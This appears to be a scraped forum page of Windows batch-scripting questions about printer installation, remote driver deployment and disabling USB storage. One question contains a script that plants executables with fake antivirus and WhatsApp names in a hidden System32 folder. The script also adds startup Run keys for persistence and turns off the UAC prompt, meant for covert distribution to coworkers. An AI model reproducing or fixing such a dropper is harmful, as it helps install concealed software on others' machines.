install printer but dont make it default printer (windows, nsis) - windows

I've written an installer that sets a NUL: port and installs a printer driver and then installs the printer. However, when I run it under an admin account, the printer is always set as the default printer.
How can I stop that from happening?
Here's the code that sets the printer:
ReadRegStr $3 HKLM "SYSTEM\CurrentControlSet\Control\Print\Printers\$DisplayName" "Name"
${If} ${Errors}
ExecWait '$SYSDIR\rundll32.exe printui.dll,PrintUIEntry /if /r "$PrinterPort" /b "$DisplayName" /z /Gw /f "$DriverPath" /m "$DriverModel"'
${EndIf}

I don't have a good answer for this. This blog post documents /y as the switch to set the default printer but I don't see a switch to prevent changes to the default printer. You could try /-y or /y- but I really doubt those are supported.
You can read the Device value under HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows to get the current default and then use RUNDLL32 PRINTUI.DLL,PrintUIEntry /y /n "$SavedPrinterName" to restore it when you are done but that is a bit of a hack and would only affect the current user.
If you are a hardware manufacturer you can probably ask Microsoft support for a official answer...

Related

Silent printer install via Point-To-Point printing

I'm having trouble with a silent installation script for printers on Windows 10 1709.
We have an installation script that does the following.
Make a connection with the printserver via net use.
Import Point-To-Point registry file
Install the printers
Remove Point-To-Point registry keys and values
This works fine for our Server 2008 computers. I have to do the same trick for Windows 10 1709 computers. Only with a few (not all) printers, i get the following error.
When i install the printer by hand, it works fine. I get a popup that says i have to trust the printer. When i click on install drivers, it installs the printer. It just wont silently install.
Here are the installation scripts.
Install:
echo "Import Point And Print Settings"
reg import PointAndPrint.reg
REM Aanmelden Print Server
net use \\print01\IPC$ /USER:**** *******
echo "Install Printer Drivers"
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\HPLJ-M201n-WSN-Timmerwerkplts
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\Zebra-DIV-VS
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\HPLJ-M127fn-CJG_WSN
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\B8065-Fractiekamer
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\BrotherQL720NW
rundll32 printui.dll PrintUIEntry /in /q /n\\print01\MP2401-GKW-PLOTTER
echo "Import Point and Print"
reg import RemovePointAndPrint.reg
Registry:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint]
"Restricted"=dword:00000001
"TrustedServers"=dword:00000001
"ServerList"="PRINT01;PRINT01.domain.local"
"InForest"=dword:00000001
"NoWarningNoElevationOnInstall"=dword:00000001
"UpdatePromptSettings"=dword:00000002
I used Procmon to see what happended when you "Trust the printserver" if you manually installed it.
This registry setting was set:
[HKEY_CURRENT_USER\Printers\LegacyPointAndPrint]
"DisableLegacyPointAndPrintAdminSecurityWarning"=dword:00000001

Remotely adding printer with batch file ; 0x32 This operation is not supported

I am trying to add a network printer via batch file, provided I feed the data(Printer IP, Printer Name, Computer IP) into the entries.
rundll32 printui.dll,PrintUIEntry /if /b "KONICA MINOLTA C451 PS(P)" /c\\%computerNameIP% /h "x86" /f %windir%\inf\prnkm002.inf /r "IP_%computerNameIP%" /m "KONICA MINOLTA C451 PS(P)" /n\\%computerNameIP%\%printerName% /F %windir%\inf\prnkm002.inf
Now, once this command is completed, I receive the following error:
Operation could not be completed(error 0x00000032). This operation is not supported.
I ran a similar code with runs the GUI:
rundll32 printui.dll,PrintUIEntry /il /b "KONICA MINOLTA C451 PS(P)" /c\\%computerNameIP% /h "x86" /f %windir%\inf\prnkm002.inf /r "IP_%computerNameIP%" /m "KONICA MINOLTA C451 PS(P)" /n\\%computerNameIP% \%printerName% /F %windir%\inf\prnkm002.inf
and I have to choose a local local Printer: which I adjust to be TCP/IP and the drivers come default since I set it. After choosing my driver, I receive the error as well.
I just can't pinpoint what exactly isn't supported.
Windows 7 32-bit. I made adjustments to the registry, print management, group policy, but none of those seem concrete to what is preventing a remote add to a network printer.
I found another way to do it with the prncnfg.vbs files. First create the port, assign it, then manage it.
This is all located in the admin scripts in Windows folder

Why dosen't my batch file copy it to the correct location?

This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT% only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor as the moment it becomes an exe it starts giving Access denied error only when It gets to copy the files in %SYSTEMROOT% even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter because I have converted many files using this converter an they worked flawless.
The code for my batch is here
#echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?
Exact Duplicate of my question
See first you need to understand how a compiler works. Compiler may also be a horribly written or may be trojan. It is rare that a good compiler is made that works and is not marked as a trojan. I would recommend to start learning other languages such as C# or Python which have in-built exe convertor. So now as I said most exe Convertors can only run PURE DOS commands. Secondly There is a built in app that was modified In later versions of Windows known as UAC. From Windows 10 onwards not a single app without Perfect details that provides its Author and blah blah can be granted Full Administrator Rights until, you add an exception, by default. Then comes the 32 and 64 bit part. There are two versions of CMD from Windows 8 Onwards. One which is in C:\Windows\SYSWOWNode64 and one in C:\Windows\System32 So, If you have a 64 bit computer check for the folder in both locations. There are many more factors that play but I will wait until You Provide sufficient deatilas about what OS , 64 Bit or 32 bit computer you have and did you check in both locations so that it will narrow down my search
Regards

Printui.dll, PrintUIEntry for installing a driver on a remote machine

In the help of printui.dll,PrintUIEntry /?, we have the following examples for remotely installing printer driver with the help of /c switch.
Add printer driver using inf:
rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "Brother DCP-128C" /h "x86" /v "Type 3 - User Mode" /f c:\infpath\infFile.inf
Add printer driver using inf:
rundll32 printui.dll,PrintUIEntry /ia /K /c\\machine /m "Brother DCP-128C" /h "x86" /v 3
I am failing in getting this to work with an error code of 0x32 (This function is not supported). I am doing the following :
Using "net use" to create a connection to the remote server using the remote server's admin credentials.
Disabling the UAC in the remote machine.
Running the above command with and without /K.
I can see that it is copying the driver files into the remote machines "print$" folder but the remote installation finally fails with an error prompt with error code of 0x32.
Is there a way or a specific condition to make this thing work ? Because it is mentioned as an example in the help documentation, I think that I might be missing something.
Are there any other ways to achieve the desired task?

How disable and enable usb port via command prompt?

How disable and enable usb port via command prompt? or using batch script ? or using vb script in windows 7?
You can use batch which gives you a couple of options. You can edit the registry key to disable usb devices from being used
reg add HKLM\SYSTEM\CurrentControlSet\Services\UsbStor /v "Start" /t REG_DWORD /d "4" /f
To enable change value to 3.
Or you can deny access to the files Usbstor.pnf and Usbstor.inf
cacls %windir%\Inf\Usbstor.pnf /d user
cacls %windir%\Inf\Usbstor.inf /d user
Where user is the user account that you want to deny access for.
To enable use
cacls %windir%\Inf\Usbstor.pnf /p user:R
cacls %windir%\Inf\Usbstor.inf /p user:R
Both commands will need admin rights.
Hope this helps
You can also have a look at devcon command. Available freely on microsoft site, for win7+ windows.
I have the same problem and I use a solution that takes the best of the two previous answers:
1º-We disable the functionality that allow us to detect new external storage devices:
reg add HKLM\SYSTEM\CurrentControlSet\Services\UsbStor /v "Start" /t REG_DWORD /d "4" /f
2º-We remove all the drivers of USB devices installed on the PC (This will also eliminate the possibility of using keyboard and mouse, but only momentarily):
devcon.exe remove *USB*
3º- We re-scan the connected USB devices, so that Windows will automatically install the drivers of devices different than external storage (eg Mouse, keyboard ...), thus obtaining the desired result:
devcon.exe rescan
4º- If we want to re-allow the use of external storage devices in our PC, we must use the command:
reg add HKLM\SYSTEM\CurrentControlSet\Services\UsbStor /v "Start" /t REG_DWORD /d "3" /f
PD: Every command will need admin rights
I use USBDeview. See documentation and examples to use it. Easy and works fine

Resources